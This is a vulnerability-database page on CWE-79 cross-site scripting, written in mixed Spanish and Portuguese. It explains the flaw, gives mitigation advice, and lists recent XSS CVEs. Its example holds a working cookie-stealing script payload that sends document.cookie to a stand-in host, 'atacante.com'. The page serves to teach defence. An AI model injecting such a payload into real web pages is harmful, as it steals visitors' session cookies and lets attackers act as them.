Fallos del tipo CWE-79

30.536 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-0499MEDIUMCross-Site Scripting (XSS) vulnerability in SAP NetWeaver Enterprise PortalEPSS 0.2%CVE-2026-39540MEDIUMWordPress Shipment Tracker for Woocommerce plugin <= 1.5.3.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-39788MEDIUMWordPress Front End PM plugin <= 11.4.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-114178HIGHWordPress W3 Total Cache plugin <= 2.10.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-14875MEDIUMHBLPAY Payment Gateway for WooCommerce <= 5.0.0 - Reflected Cross-Site Scripting via 'cusdata' ParameterEPSS 0.2%CVE-2026-84915MEDIUMComponent blocks - Moderately critical - Cross site scripting - SA-CONTRIB-2026-123EPSS 0.2%CVE-2026-1513MEDIUMbillboard.js before 3.18.0 allows an attacker to execute malicious JavaScript due to improper sanitization during chart option binding.EPSS 0.2%CVE-2026-25343MEDIUMWordPress WP SMS plugin <= 7.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-47977MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-47958MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-47936MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-24392MEDIUMWordPress HurryTimer plugin <= 2.14.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-47950MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-47962MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-49866HIGHWordPress Beautiful Cookie Consent Banner plugin <= 4.6.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-42656MEDIUMWordPress Contest Gallery plugin <= 28.1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-27273MEDIUMWordPress Affiliate Links Manager Plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-104587MEDIUMblob42 gosuki through commit 6e2bf34 contains a Stored Cross-Site Scripting (XSS) vulnerability. The application uses text/template instead EPSS 0.2%CVE-2025-68268MEDIUMIn JetBrains TeamCity before 2025.11.1 reflected XSS was possible on the storage settings pageEPSS 0.2%CVE-2026-48297MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%